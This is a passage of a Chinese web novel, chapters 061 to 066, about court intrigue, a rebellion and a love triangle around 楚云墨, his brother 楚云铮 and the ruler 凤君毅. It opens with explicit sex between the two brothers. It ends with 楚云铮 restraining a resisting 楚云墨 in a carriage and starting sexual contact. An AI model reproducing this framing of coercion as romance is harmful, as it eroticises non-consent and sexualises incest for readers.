图片载入中

弦落无声卷046197

特大字】 【大字】 【中字】 【小字

第061章因为有爱才无法原谅

“我……要的不是这样!”楚云铮说不出他要的到底是什么,也许,是从前的那个楚云墨。那个会对他红着脸喊出大哥的少年。

“那你要什么?”微泛着艳红色的脸庞的楚云墨轻笑不已,看着楚云铮眼中闪着淡淡的微光,那抹光亮的背后,不是从前的温暖或是羞赧,而是一抹清冷的鄙夷。

“不管你要什么,我都不会给!除了,这种肉身施舍!”

楚云墨冷冷的笑了起来,身体起伏的更加急迫,身体和心灵好似分裂开,一边是冷得像冰一般无情肃杀,另一边是如火般的怨恨炽尤。

楚云铮还想说话,可是身体却已经对着欲望投降,不断的进出着对方的身体,在楚云墨一个重重的下落间,紧抵在对方敏感点的肉茎传来一阵阵疯狂收缩的快感。毫无挣扎的,楚云铮和楚云墨几乎是一同达到了高潮,奇异的相似,两人的身体乃至心灵都是一样的冰冷。

“是吗?”楚云铮气得全身发抖,其中当然也有对对方感情的绝望在作祟。

“楚云墨,你不公平!”楚云铮咬着牙。“那时候,凤君毅他强要你,甚至把你折腾成了那个样子,你都可以原谅他!你的奶娘与四哥,对你背叛,你却依然不恨!而楚云曦,你那个好弟弟!在你面前一副恭敬纯良的模样,事实上,他却是最深沈之人!他甚至利用你来刺杀凤君毅,那个你现在爱得死去活来的人!我不相信凭你的聪明你发现不了他的手段!你知道他有多狠吗?从你死讯传出后,他只在第一年回来过,而他回来又走了,之后不到一个月,你的那个奶娘就上吊自尽,你那个四哥被老三直接当成了禁脔,要说这中间和他没有一丝关系,恐怕三岁的孩子也不信!而这样的人,你不是一样不恨他!”

楚云铮咬着牙紧紧抓着楚云墨乌黑的头发,恨得只想摇晃对方,却又下不去手。

“而我,只因为误会,因为对你的不信任,你就这样一棍子把我打死,是吗?”

“我告诉你!”楚云墨的眼眸清晰冷静,对着楚云铮的狂乱,他已经不再在意。

“我不可能原谅你,是因为你伤我时,我已经在喜欢你了明白吗?楚云铮,那时我是爱你的,虽然也许只是一点点动心!”

楚云铮震惊的看着楚云墨,不敢相信自己听到的。

“因为爱,所以无法原谅!凤君毅那时伤我,却并非痛入心扉,而你的所为,却是直接让我绝望的根源,如果不是前有你的伤害,我又怎么会有轻生的念头?”楚云墨冷冷的笑了起来。“你怨我不原谅你,你可知我当时的心是怎么样的痛苦?你可知我那时的生不如死?而现在,我并不是不原谅你,而是没那个必要了。我,已经有了心动之人,你明白吗?”

最后的三个字,明明轻得如春风拂柳,却如一记重锤直直敲到了楚云铮的心上,他在那一击间脸色苍白,呐呐的说不出话。

也许,正是爱得深,伤得重,原谅,才更无办法。

之后,楚云铮抱着楚云墨去隔间的浴房清洗,楚云墨一言不发,楚云铮若有所思。直到楚云墨周身清爽的被楚云铮抱到了床前用被子盖上,楚云铮才下定了决心抬头。

“我是得不到你了,可是,我想,你爱的那人却也未必……”楚云铮闭了闭眼,把剩下的话用力吞回了肚子里,放开了楚云墨命令自己转身离开。

有些事情,也许不说出来,对谁都比较好吧!墨儿坎坷一生,活到至今,他不知道还要再承受多少苦难。也许,他,可以帮他……也许……

脑子里乱成了一团麻,楚云铮的眼中各种痛苦的矛盾让他几乎要崩溃。说还是不说,也许结局都是一样的。直到现在,楚云铮坐到床边,他突然有些!然醒悟。

他,是不是就此真的、失去了墨儿?如果他真的再也没有机会了,那么,那个几乎是在背叛着墨儿的人,会不会继他之后给了墨儿重重一击……

想到这里,他的额头一点点的沁出了汗水。抬头,他再也坐不住了,换了身衣服就走了出去。

门外一片黑暗,楚家的护卫营队正在另一个院子里歇息,楚云铮刚一走近,就有人走出来。

“侯爷,您这是?”

“帮我传个信到飞羽城。”楚云铮的眉心紧锁。

“恐怕难了。”那个侍卫脸上神色为难。“侯爷,我正想给您送过去消息,已经来了信儿,各个离开的皇子,分别带着各国的援兵回了凤国,对着飞羽城攻了回去。那位说,计划,已经开始了。”

“什么!”楚云铮的脸色变了。“不是说回了凤国吗?时间怎么会提前的!”

“没办法,您也知道,有些事情,那位老谋深算,这次又下了决心,必是抱着万无一失的决心,又了解您对怀安侯爷的重视,您改主意是理所当然。只是,那位让我提醒您一声。想要光明正大的得到您想要的,就必定要有绝对的权利才做得到。”

对方的话,让楚云铮的脸色一变再变,最后,终于化成了一声轻叹。

“我只希望,最后的结果真如你们主子所想。”

楚云铮转身回了自己的院落,而另一男子也快速的离开,几个起落失去了踪影。

半晌,一个角落处,一个黑影动了动,接着爬了起来,速度的向着楚云墨呆着的院落里跑去。

……

“什么!”楚云墨听到了暗卫的话,脸色一变再变,明明身体叫嚣着要休息,却依然从床上爬了起来。

“凤国出了事!”楚云墨咬着牙,直奔向了楚云铮的院落。

“很简单,就是各个皇子不安于被凤国君主所控,分别借着借粮的由头各自找了盟友,起兵回攻飞羽城。”

对于楚云墨的质问,楚云铮的神色,冷静的可怕。

“所以你也知道?那六皇子……”

“同样,因为商国君主迟迟未表明态度,所以他才耽搁了一下,恐怕,其他皇子早就有了准备了。”

楚云墨的脸色苍白,看着楚云铮想说什么,却只觉得眼前一黑,直直的倒了下去。

冷热煎熬,痛不欲生。

楚云墨在昏暗中起伏不定,几乎可以看到凤君毅身陷火海被重兵围攻而死的身影。勐得一睁眼,眼前的白光刺得他眼前发痛。

“公子,您没事吧?”身边的小厮的询问已经入不到他的耳,努力的从床上爬起来,楚云墨抬头看了看天色。

“现在是什么时候了?我晕了多久?”

“公子,您已经晕了三天了。”

“给我准备衣服,我要入宫。”扔掉了身上的被子,楚云墨的脸上一抹坚毅。

他要回去!无论生死,他只想再次见到凤君毅,再次的触摸到他,碰到他,不管结果怎样,他只想和他在一起!

第061章初见荣暄武

“侯爷,这是请帖。”驿馆的小厮恭敬的送上了大红金笺的帖子。

看了看手上的帖子,楚云墨点了点头,“备车。”

已经一脸轻松准备离开的小厮呆了呆,以为自己听错了。

“什么?”

看到楚云墨皱着眉头看向自己时,那小厮才想到自己居然逾距了。

“是小的无状,冲撞了侯爷,请侯爷责罚。”那小厮吓得连忙跪倒,不过脸上还是带着疑惑。

不怪他啊,自来到商国,这位怀安侯大人就没出驿馆应酬过,顶多是和宫里来的魏公子出去逛逛,给他的帖子向来看都不看就扔到一边。怎么这会儿却说要出去?他当然吓一跳啊。

“没事。”楚云墨叹了口气,挥了挥手。“去准备马车,我去,对了,逸闲侯呢?”

“逸闲侯爷去了九王爷府上去赴宴。”

“嗯,下去吧。”

楚云墨倒是不怪下人无礼,毕竟如果是他说不定也是这种反应,受邀去商国的吏部大司马的府上赴宴。如果是平常,他是不想去的,可是,为了他与魏七的计划,他今天晚上必须要走上这一遭。

换上衣服,叫两个暗卫陪同,楚云墨出了驿馆。

马车辘辘,楚云墨看了眼在车中坐着的侍卫,想了想。

“你们两个叫什么名字?”

“请侯爷称我们廷晋和廷印。”左边那个长得浓眉的低声说。本来他们两人是要跟着马车走的,楚云墨逼着两人上车,说有话要说。

“好。”楚云墨点头。“我有事情要和你们说。”

嘀嘀咕咕的说了话,两个侍卫互相看了看,点了点头明白了楚云墨的意思。

“那就这样,廷晋你就和那四百人一起留下帮魏公子,随时保护着他听他指挥。但是有一条,就是最多三年,在三年间,如果他让你们离开,你们就回去,如果不让你们走,最多三年,三年后,你们必须回凤国,知道了吗?”

廷晋和廷印互看了一眼,来时凤君毅下了死令,命他们全力听从怀安侯爷的指挥,保护怀安侯爷周全,如今他们听从安排,却也是军令。

楚云墨见廷晋两人听从他的安排,心底松了口气,他最怕的就是自己指挥不动他们,那么计划誓必要变,而现在,他基本上是没什么问题了。

突然,路上传来一阵马蹄击打石面的声音,楚云墨伸手车帘微掀,马车后方,三人三骑自远处疾驰而来。

当前的一人,一身军人戎装,黑色的软甲包覆着肩膀、手肘、手腕、前心、膝盖。头发乌黑似墨一丝不乱的高束着,用紫金色的武士冠束好,一张脸五官平凡古朴,双眉毛浓密漆黑,而那双眼睛神采森然,周身散发着强烈的战意。

因为那人的气势太强,衬得他身后的两人虽然穿着上比他要耀眼很多的亮银的!亮铠甲,却怎么也无法胜过前面那人的气迫。

看着缓慢,事实上这三骑却相当快,前面的车夫并非是凤国带来的下人,想来是认得这三人的,连忙侧避在路边,给这三人让了路。

“这三人是谁,为什么我们要给他们让路?”廷晋微微不满,毕竟他们是凤国的贵宾,那车夫如此做简直就是直接在扫他们凤国人的威严。

“侯爷见谅!”那车夫吓了一跳。“爷您不知道,这三位爷来历非凡,不只是军中栋梁,还是皇亲国丈,那位黑色打扮的,就是我们商国刚生下皇长子的荣嫔娘娘之父荣暄武荣大将军。他身后就是他的两个儿子,一位是威远将军,一位是平南将军,当真是一门虎将。”

“哼,几个武将皇亲就这样当街疾驰?”廷印也有些不满意。

“爷,您们有所不知,那位荣大将军,事实上深以外戚为耻,当年荣嫔娘娘入宫,他官升为一品大将军,就气得直接上了奏折,说是若无战事再不上朝,为人刚正不阿,是我们商国人人人敬佩的正义之将,他带领的虎师营,在我们商国除了戎少帅的少帅军,真是无人能敌的彪悍善战。”

听着车夫几乎是推崇恭敬的话,兴奋的颤抖的声音,楚云墨的心里却有着不祥的预感。

既然荣暄武曾上书说没有战事拒上早朝,那么,这样入夜疾驰又是为了什么?一想到这里,他恨不得立即骑上马直接奔上回凤国的路,商国,难道答应了凤鹤天出兵支援?

马车又驶了一会儿,终于,在吏部大司马蒋存良的府前停了下来。递了帖子,马车被下人带到了一侧的东侧门,那里停了几辆华丽的马车,几个人正从马车下来,换坐府里的小油车,看到这边又有马车到,那几人停下来转身看着楚云墨这边的车子没动。

楚云墨下了马车,就看到了楚云铮穿着一身松花色的锦袍,衣袍边,绣着墨竹的纹路蔓延到衣摆深处,脸上微醺,显然是喝了一些酒才过来,另一个站到他旁边的男子,头戴着银色五冠,身穿着墨绿色绣着五爪蟒袍,年轻的脸庞上也是微显醉意。

“咦?这不是怀安侯爷?”一侧一个身穿三品紫红文官官袍看着眼熟的男子笑了笑,看样子应该是商国的文官,文质彬彬的脸上带着一丝异样的神情。

“听说怀安侯爷自到了商国就婉拒一切应酬,要我说,这还是他们面子不够大呢,你们看,还是蒋大司马的面子大一些。”

“哪里。”楚云墨还没来得及接话,楚云铮先开了口。

“舍弟只是身体一直不太好,到了这边有些水土不服罢了,今天精神稍稍好些,就看到了大司马的帖子,想来是觉得一直这样婉拒邀约未免显得太过小家子气,这才来强给大司马捧个人场,寥侍郎这样说,舍弟会不好意思,要是脸上抹不开走人了,大司马你只管找寥司马罚酒,可是与我家弟弟没半点关系。”

“哈哈哈!”一旁的主人蒋存良一身深蓝色的云锦儒士服,摇摇头一脸的得意。“看看吧,我就说寥侍郎定会找到机会就酸我,果然没错,怀安侯到了敝府,本就是锦上添花的喜事,下官高兴还来不及,寥仲青如果你把怀安侯说走了,我就让你躺着回府里,醉他个三天三夜!”

说着,上前对着楚云墨抱手行礼,蒋存良一脸诚至。

“怀安侯爷,您请。”

“云墨,过来见过九王爷。”楚云铮笑了笑,招了招手。

楚云墨对着蒋存良抱手行礼,上前见过了站在楚云铮身边的商国九王爷,商奕轲。

“这位就是怀安侯?逸闲候爷的弟弟?”商奕轲上下打量了一下楚云墨,有些怀疑的看了眼楚云铮。

与楚云铮一身的淡冷的气魄不一样,楚云墨却是一身月白锦缎的银丝绸衣,衣摆处绣着水墨丹青,层层叠叠的山河图案走动间微闪,头发束着玄色的发带,上面缀着几颗指尖大小的珍珠,与他腰间束着的墨玉底龙眼大小的珍珠腰带相辉映。

一个强势,一个文弱,一个冷漠中透着精明,一个温雅中透着疏离。自长相到气质,真真的是截然不同的两个人,这两人是兄弟?在场的人都有些兴味的互看了一眼。

第062章

“当然!是我如假包换的亲弟弟!”楚云铮笑着坚定的说,接着摇摇手,脸上淡淡的。

“怎么,蒋司马是舍不得我们多喝你杯茶么?让我们站在这里寒暄?”

“哪里哪里,贵客临门太过高兴,却是让我一时忘形失礼了,真是,快快请进!”蒋存良拍拍脑袋,一脸的如梦方醒,连连谦让。

楚云墨脸上恬淡冷静,不露丝毫情绪,跟着这群人一起走进了司马府。

司马府在沣玉城皇城的内围,除了皇亲侯府,就只有四位大司马与左丞右帅的府坻在内围中,显示着他们受当今商王宠信的程度。

司马府是个四进的宅子,接待客人是在二进的花厅里,众人走了进去,里面早有人在聊着,看到他们进来,连忙起身问好。

楚云墨只认得那位左丞相原锦书,对于戎寒却并不知道是哪位。不过他并不太担心,只是随着众人坐到了客位上,他的左手边坐着楚云铮,而右手边却是一个一身软甲的武将。

“没想到怀安侯爷也会到,真是稀客!”坐在他对面的男子一身的文官打扮,长得倒是平凡,不过却在眼神流转间让人感觉得到他的精明。

楚云墨微笑着点头,门口处又有人走了进来,龙行虎步,脸上带着肃然之色。楚云墨看出了那人正是刚刚在马车中看过的人,那位荣暄武荣大将军。

“咦?”在坐的众人微感惊讶,就连九王爷商奕轲也站起了身,其他人一见哪还坐得住,只好一起起身迎客。

“荣大将军居然会出了府?难道是有仗要打?”隐约不知道是谁轻声嘀咕了一句,被荣暄武身后的一个年轻的男子一眼扫过去,冷厉的气势一见惊心。

“九王爷,荣暄武可担不得九王爷的礼!”见商奕轲握拳半躬着身施礼,荣暄武直接侧了身,并不受礼,脸上也是固执冷硬的怕人,高大的身材,身上浓烈的血腥气息,即使离得并不近,楚云墨也感觉得到,那是上了沙场的人才会有的气息。

“荣大将军满门英豪,怎么受不得我这一礼?来,我为荣大将军引见!”商奕轲微微一笑,眼中的尊敬倒是名副其实。

微微侧身,他示意着介绍。

“这位是凤国的使者,逸闲侯楚云铮,那位是怀安侯楚云墨。”|商奕轲转身。

“云铮,云墨这位是我们商国的大将军荣暄武,那两位是他的儿子,一位是威远将军荣尚兴,一位是平南将军荣尚起,”

楚云墨的眼神微微闪了闪,点点头,对着他们抱拳施礼,他总觉得这位荣大将军有哪里奇怪,可是就是找不出来。

荣暄武虽然一脸的不待见,但是好在却并不会失礼,只是木着脸点点头,直接坐到了右侧的位置上。

看到荣暄武连自己的面子也不给,商奕轲有些木然的看了楚云铮一眼,回到位置落坐。

“今天特别的请了众位前来,为得只是博大家一笑,大家如此赏脸,真是让蒋某受庞若惊,这一杯,就由下官先干为敬。”

蒋存良说着抬起了手,杯中的酒一饮而尽。

第063章

看着蒋存良饮尽了杯中酒,楚云墨低下头,酒色微红,带着醇香,他抬起杯,一饮而尽。

这是他在商国的最后一杯酒。

饮了酒,众人开始谈笑风生了起来。看着这些人杯幌交错,楚云墨轻叹了一声。

“怀安侯爷。怎么不说话呢?”那位一脸精明的文官一脸的笑,让楚云墨几不可闻的皱了皱眉。

“哪里。”楚云墨僵硬的应了一声,眼睛微侧目,就看到了斜对面的荣暄武,正用一双灼灼的眼睛紧盯了他一眼。

感觉到对方的目光,他微微有些奇怪,不过对方微有些阴鸷的眼神,有所执着的模样,让他微有些不舒服。

“戎帅到了?”一个家仆来报,蒋存良脸上一喜,眼睛不自觉的瞄了楚云墨一眼,出府迎接。

一身深蓝色锦袍的戎寒,是除了九王爷与楚云铮、主人商存良外唯一身着便服的人。

“戎帅到了?真是奇怪,他一直不太喜欢这种场合,而且,今天原丞相居然也会来,这更是稀奇。”

楚云墨僵硬的抽了抽嘴角,真是奇怪,商国的臣子都是这么罗嗦八卦么?真是让人受不了。

众人见了礼,纷纷问声好后落坐。酒杯微抬,众人的情绪又开始高亢了起来。戎寒一直没有正眼去看楚云墨。

酒宴进行了近一半,已经无聊并被旁边的文官烦到要崩溃的楚云墨终于找了个借口出了花厅离开了那些已经开始逐渐的放浪形骸的人。

一个小厮正站在花厅外,看到楚云墨出来微微躬身行礼。

“这里有没有让客人休息一下的偏厅?”

“有,王爷请这边走。”那个小厮领着路,带楚云墨绕过了热闹的前院,到了一个像是小书房一样的地方。

红木书案,文房四宝,青瓷笔洗,这个小书房虽然不大,却相当的雅致。门口传来叩叩的声音,随着楚云墨的一声请进,一身深蓝色锦衣的戎寒身上带着微醺的酒意走了进来。

“怀安侯爷?”

“戎帅!”

两人相视微微一笑,戎寒点头。

“怀安侯爷,一会儿会有人过来,你跟着他走就是,其他的事情就交给我们吧!”

“如此就麻烦戎帅了。”

楚云墨勉强的笑了笑,心底却因为担心凤君毅而略显得焦急了起来。

送走了戎寒,他等来了一个一身浓烈的戾气的男子,那男子大约二十多岁,见了面并不多说话,确认了楚云墨的身份后,就打开了随身的包裹,里面有易容的药膜,在楚云墨的脸上涂涂抹抹了一番后,就带着他出了司马府,到了一个偏僻的小街道上。

狭小的街道上破破烂烂的几家小客栈及杂货店,那人把楚云墨安排着住到了那里就离开了。

楚云墨看着自己栖身的房间,轻轻叹了口气。不知道这件事情,会不会很顺利。

楚云墨在小客栈里呆了三天,这三天,沣玉城里乱做了一团,凤国的使者怀安侯在司马府里赴宴后失踪已经成了商国沣玉城里的大事情。

第064章

凤国历,谦和帝在位37年。

对于凤国的臣民们来说,谦和37年,是最难忘怀的一年。

那一年,发生的事情太多太多,天降灾祸,难民成群,饿殍遍地。而最让凤国的百姓惊心动魄的,却是早年的战乱又一次的开始上演。

上一次的战乱还是在云岚大陆未曾分离之时,而距今早已超过了何止百年?那已经是上一代的凤帝所遭遇的祸端。

正是十月初旬,晚秋末尾,一声惊鼓,敲开了那场血腥之战的序幕。

第一个反的,居然是刚刚借粮回到了飞羽城中为凤帝陛下看难分忧的太子殿下凤云天。

随着他起事的,正是以文着称的大司马付竟宣。其子付青潇任礼部侍郎,他的好友秦啸虎任镇威将军一职,秦家一门忠烈,已经有了七位将军,秦啸虎挥帜上了太子凤云天的马,几乎是在断秦家的后路,秦家如不跟随,即使是凤云天失败,恐怕秦家一门也逃不脱满门被斩之运。

秦老将军在听到了小儿子的所为后直接一掌拍碎了书房里以坚硬着称的花岩木书案,只差口吐鲜血。可是事以至此,除了跟随着太子起事,秦家就已经没了别的路好走。

与他们一起行事的还有其他的四大世家,无一不是凤国的资深家族,谁也不曾想到,六个不成气侯的私生小子,居然会敢大逆不道揭竿造反,当知道后无不感叹愤怒,同时亦无奈。

凤国的律法,家族中无论是谁,一旦有了谋逆之心,那就是刑诛九族之罪,绝无幸免。

只是,仅仅是赵国,就让凤云天借这强硬的助力有了胆子反了凤王么?一时间,各种各样的谣言也纷纷到处散播,加上有心人的一些故意,更是让人捉摸不定。

……

与此同时,凤国飞羽城外。

浩浩荡荡的兵马旗帜迎风飞扬,几队人马几乎是同时到达了城下。

三皇子凤霁天站在城外,身边,却并非是忠勇侯凤啸天,而是一个二十七八岁模样浓眉大眼长相端正的男,一身紫红蟒袍,却是忠勇侯凤啸天的弟弟凤倪天。而他们的身后,却是深土黄色与褐色相间的戎衣盔甲的兵士,一个大约四旬的男子站在领帅的位置,一身惨戾的血腥气息。

褐色,正是晋国士兵将领所着的服装颜色,看样子,凤霁天真是满载而归。另一边,他的对面九皇子凤凌天正站在他的对面,他的身侧,却是一个让凤霁天眼熟到不行的人。那张成熟风霜的脸上,带着从容不迫的冷静与讽刺。

“楚尔擎?!”凤霁天失声。

楚尔擎像是看不到对方的惊讶似的,只是微微颔首,自在的仿似在自家的后花园散步。

“该到的人,都到了?”城墙上传来的声音让在城下的两批人马皆是心神凛,抬起头,那道身影就这样映在众人的眼中。

头上束起的发丝依漆黑似墨,一双凤眼微微斜挑着向上直飞近鬓,一身杏色的皇袍,上面用纯金的绣线绣着龙飞入云的图案,一双龙目栩栩如生。头上发带上的黄色宝石被阳光照耀成一道刺眼的光影,在这样的光影下,两方人几乎都要把眼睛眯起来才能看出他的轮廓。

“父王!”凤霁天的眼睛熠熠有神,翻身就下了黑旋风。

“哦。”凤君毅没有应,只是淡嗯了一声,眼中的表情在逆光中让人怎么也看不清楚。

“请父皇受儿臣三拜!”凤霁天从容的对着凤君毅跪倒,三拜九叩。而另一侧,九皇子凤凌天也像想到了什么,连忙跳下了马,跟在凤霁天之后也喊了声父皇,对着凤君毅叩拜了下去。

“哈哈哈哈哈!”凤君毅大笑了起来,只是冷冽的表情,却始终没有到达心里。“你们的父王还没死,怎么你们就这么拜上了?”

凤霁天一句话也不再说,磕得青紫而渗着血的额头无比的吓人,但是更冰冷的却是他的表情。凤君毅像是有感应似的,把脸转向凤霁天,眼中的神情,却并非刚刚的讽刺,而是充满了柔和。

“我早知道,你会有反的一天,只是我没想到,你会选在这个时候而已。”

凤君毅的话,让凤霁天的身体微微抖了一下,接着,他勐得抬起头,眼眶居然已经是一血吓人的血红之色。

“这不怪我!即使父王你从不曾想过传位于我,我都不会这样做!是父王你……”

“所以说,你虽然是我的儿子,甚至是我比较疼爱的儿子,我却依然觉得你难成大器,你不是君王之材。”

凤君毅叹息。看着凤霁天的眼睛中闪过的却是惋惜之色。接着,他挥了挥衣袖,就那般转身下了城墙。他来,似乎只是看看凤霁天,只是和凤霁天说这几句话而已。除了在凤凌天跪拜后凤君毅的讽刺一瞥,他未曾对九皇子有过一丝丝的关注。

凤凌天的双拳紧紧握在一起,眼睛中的厉芒一闪再闪。即使只有二十几岁,即使他的个性已经逐渐的阴暗沉冷,他却在凤君毅的身上品尝到了赤裸裸的不屑、轻视、不,那已经不只是轻视,而是无视了。

“为什么?父王,一样是您的儿子,就算您如此的偏心,我却没想过……”凤凌天的嗓音已经暗哑,最后甚至没了声音,只有咯吱作响的牙齿,感觉得出他的愤怒已经到达了最极限。

为什么!从生下来时,似乎所有的皇子就分成了三六九等,而他,却是最低下的那个么?所有的皇子,只能看着凤君毅宠爱着凤霁天,只能看着凤君毅宠溺着那个只是姑姑的孩子的表哥。而他们这些皇子们,却只能老实的呆在后宫中,对着母妃的唠叨怨恨与怒其不争。

如果凤霁天是嫡出,他不会有如此多的怨恨,可是,明明一样是庶出的儿子,为什么却怎么都不如对方?

他无法接受。自幼时,无法反抗,长大后,不屑反抗,而现在,已经没有必要反抗。

沉淀下身体的愤怒。凤凌天慢慢抬起头。

“楚丞相,我们先回营吧!”

第065章

飞羽城的城墙,是用光滑的青石筑成的,无比的坚硬厚实,而城墙上,正隐约的露出几个身影,或是在城墙上边探看,或是在城墙上一闪而过。

而在飞羽城外,分东西南北的方向列着军营,每个方向都会留有一些人员通行的通道,那道路如楚汉河界,泾渭分明。四路人马,居然就这样僵持着全部驻在了飞羽城下。

太子凤云天,人马最是强悍,身被六大世家支持,几乎立于不败之地。而三皇子凤霁天,在失去了忠勇侯凤啸天的拥立后居然被忠勇侯的弟弟凤倪天支持,得到了忠勇侯麾下一半的人的效忠,忠勇侯郡地的将领一直是相当的骁勇善战,而三皇子凤霁天的舅舅正是朝中的右相,得到了军方的支持的三皇子,谁也说不准他会不会成功上位。

而另两位皇子,也是各有人拥立,互相制约互相约束的,只为了那最高的位置,四方人马,苦苦忍耐,等着最后的决断。

就在这个时候,楚云墨还在回来的路上飞奔驰骋,拼死向着凤国赶。

……

清凉的风原本是柔和沁人心脾的,坐在马上半伏着身体的楚云墨脸颊却被唿啸而过的风吹得生疼。为了能够加快速度,楚云墨努力的在各个驿站换着马,就希望能够早一天回到飞羽城。

谁知,就在他上路的第六天时,身后,突然传来了一阵阵的马蹄声。心中涌起了不祥的预感,楚云墨回头看过去,熟悉的脸正一脸焦急的在马上对着他喊着什么。他吓了一跳,转身伏低身体又给了马儿好几鞭。

一声马的嘶鸣声响起,楚云墨身下的坐骑一声惨叫,接着突然人立而起,楚云墨的身子一轻,人已经飞上了半空。

手脚吓得乱挥,楚云墨真的很不想当这该死的空中飞人。无论是在上一世还是这一世,其实他都对杂技没什么经验与兴趣的。

远远的,楚云铮已经看到了那个瘦弱的背影被甩得高高的,吓得他觉得自己的心脏都快停止了。松开手里的缰绳,他往空中跃去,目标就是那个吓得他三魂失了七魄的笨蛋。

楚云墨挣扎了几下身体迅速下落,他正闭着眼睛等待着疼痛的降临,可是,却被什么人一把搂住跳了下来,身体降到地面时,楚云铮的胸膛传来了闷唿的声音,不过还好,只是轻微的一下。

“墨儿,睁眼!”鼻子被人捏了一下,怕酸的立刻衔着泪水的楚云墨一睁睛,就在半梦半醒的模样下,他已经被楚云铮接得牢牢的。

“放开!”楚云墨第一时间开始挣扎了起来,楚云铮连忙松开手怕楚云墨伤到了自己。终于,他还是追到了楚云墨。

“你到底想怎么样!”楚云墨的脸色一片灰暗。“我们已经是不可能的了,所以,你能不能不要再出现在我面前?”

楚云墨觉得自己要受不了了。凤君毅的生死未卜,楚云铮的穷追不舍,这一切都让他崩溃。

已经是不可能的事情了,他与楚云铮的一切都已经过去,也许,他曾为他而动过心。然而,在一次次的创伤中,他的感情已经千疮百孔,他的爱已经支离破碎。他无法再去以爱的心情去对着楚云铮。

爱就是爱,不爱就是不爱,没有灰色。楚云墨的感情,他希望自己可以越简单越轻松就好,只是,他的生活却一直与他的理想大相径庭。平凡的感情,变得越来越炽烈,他想平静的淡定的面对感情,而现在的他,却像是热烈的火焰,燃烧着一切有关的人、事、物。

第066章

心脏如同要从胸膛处跳出来一样,楚云铮觉得自己好似毛头小子。这几天的水深火热不眠不休让他在再次抱到怀里的人儿时感觉到了从未有过的惶恐。

“放开我放开!”楚云墨挣扎着做出了一个手势,几道黑影突然从道两旁冲闪而出,对着楚云铮开始攻击。

指尖微微闪过寒光,几个侍卫脸上蒙着黑布,对楚云铮的攻击绵密不休。楚云铮怀抱着楚云墨没办法反击,后退了几步后没办法,身边的暗九与另一个暗卫暗十开始帮着抵挡了几人,可是显然,他们人数上差了太多。

楚云铮低下头,楚云墨低着头看不清表情,一截雪白的后颈露在领外,身体微微颤抖了几下,怜惜的把在怀里的楚云墨抱紧,他脸上带着一丝眷恋。

“你这个笨蛋,你知道不知道现在飞羽城里多危险?你以为只凭你手里那几个人就能安然回去?那里现在根本就进不去了。”

“你怎么知道?”楚云墨勐得一抬头,停下了挣扎,脸上有些奇怪的表情。“你和我一样在外,怎么知道飞羽城里的情形?”

楚云铮收紧了一下臂膀,没有回答楚云墨的话,而他的不回答让楚云墨的心底里那股奇怪的感觉更加强烈。

“如果我没看错,你根本就把府里的精锐全部带了出来,你只是出使来借粮罢了,为什么会倾巢而出?你为什么对皇子们的谋朝篡位一点惊讶也没有?你早就知道,是不是?”

楚云铮一直知道楚云墨有着极度的聪明与悟性,这一点从他曾经自行建立过隐阁就知道一二。只是,他没想到,楚云墨只从他的身边随行与一些蛛丝马迹上就发现到了一些真相,他的敏锐,让他刮目相看。

“你还真是让我惊喜。”楚云铮伸手扶着楚云墨的下颔,手指尖在那细致诱人的触感上不断流连。

楚云墨推手拂开楚云铮的手臂,这时,那边的暗卫却显然已经进了白热化的阶段。又有几道黑影从路边冲出。这边楚云铮这边也有人纷纷加入战圈。

暗卫们本是受了争斗到底不死不休的训练的,然而,楚云墨却事先有和他们说过,不能下死手伤了人,这就让他们有些被困手困脚,也因此,他们慢慢的居然被压制住,接连被制住。

“你们停手!”楚云墨看到一个暗卫受了伤,脸上一痛,心里后悔着自己曾说过不准伤人的命令。可是,现在谈什么都晚了,即使暗卫们拼死抗争,恐怕结局也不会改变。

“你到底是想要做什么?我回凤国有什么不可以?”楚云墨紧紧盯着楚云铮,楚云铮的表情,在听到了楚云墨固执的想回凤国时微微一收,只一瞬却也让他发现到了楚云铮眼中的嫉妒与心痛。

“你现在回去,太早了。”楚云铮淡淡的挥了挥手,身后马车驶近,楚云铮直接托抱着楚云墨上了马车。

楚云墨的身体,在被压制到了马车上时僵硬了起来。熟悉的地方,密闭的空间里,依然是微厚的车帘与窗帘,让他最想遗忘的一些往事,莫名的,突然闪现在他的脑海。那些应该忘记的。

“怎么了?”楚云铮随着楚云墨被推压在车板上,在看到楚云墨微微红起来的脸颊与带着一抹羞恼与尴尬的时,想到了什么,笑了起来。

楚云墨,几乎很久没好好看过楚云铮了。他觉得,楚云铮,应该就是记忆中的那个样子,发如染墨,脸如刀刻,心如铁石。可是,现在再次看他,已经三十许的他,眼角处居然隐约有些风霜的痕迹,而鬓角发丝隐深处,居然有一抹微有些灰白的印记。

“你?”楚云墨有些迟疑,眼睛深处似乎想到了从前那时,初始心动,对方和现在,似乎大不相同。感觉到了自己的心软,楚云墨立刻伸手推拒着楚云铮的胸膛,想从对方的身下离开。

楚云铮是谁?对方的眼睛里隐约的感情让他几乎马上就捕捉到,并且加以利用。

“我怎么了?你想到了什么?”楚云铮伸手轻松的抓住了楚云墨的手臂,压制住了对方的挣扎,车厢突然震动起来,晃动间,两人的身体勐烈摩擦了几下,楚云墨的脸突然的胀得通红,躲避的动作完全失灵。

小腹间,一个熟悉的坚硬的器官正抵在他的小腹处,让楚云墨的记忆被触动了起来,那次说不上好还是不好的在车厢内的亲密画面浮现在他的脑海里。

衣摆被撩起,一只手掌坚定的探到了他的腰间,在他细腻的腰间来回抚摸,感觉着那如丝的触感。

“想到了我吗?想起了什么?”纠缠的手指一寸寸的挤进被腰带束着的里裤,捉弄似的轻轻摩挲着那柔细的皮肤。

“闭嘴!”楚云墨咬着牙微怒,身体一下子被唤醒,那从前的记忆一幕一幕的不断闪现着,那时的感情,那时的感觉那时的亲密,让他的身体忽然间,有了感觉。

在楚云墨的私密处嬉戏的手指很快的,就发觉到了他的反应,指下的肌肤变得开始发热滚烫,让楚云铮的眼睛开始发亮,乘胜追击这种机会,他是不会放过的。

衣服腰带楚云铮几下解散开来,楚云墨还没反应过来,楚云铮的手指已经抓住了他微微有些抬头的青茎。

低下头,在车厢幽暗的光线下,伴着小辐的颠簸,楚云墨的身体映在了楚云铮的瞳孔中。

比从前瘦弱,比从前白皙,比从前单薄柔腻。这样的皮肤这样的身体,在楚云墨清秀黑亮的眼眸微翕间有种说不出的,诱人风情。

楚云铮忽然想到,这样的风情,这样的媚惑,早已经不再是专属于他一人的了。想到凤君毅,想到了他们两人的亲密,一股嫉妒的情绪在他的心间缠绕不休。

“还记得吗?”楚云铮微微眯起眼睛,眼睛紧紧盯着脸颊上开始泛着红潮的楚云墨。“我那时说过的话?”

第067章(限)

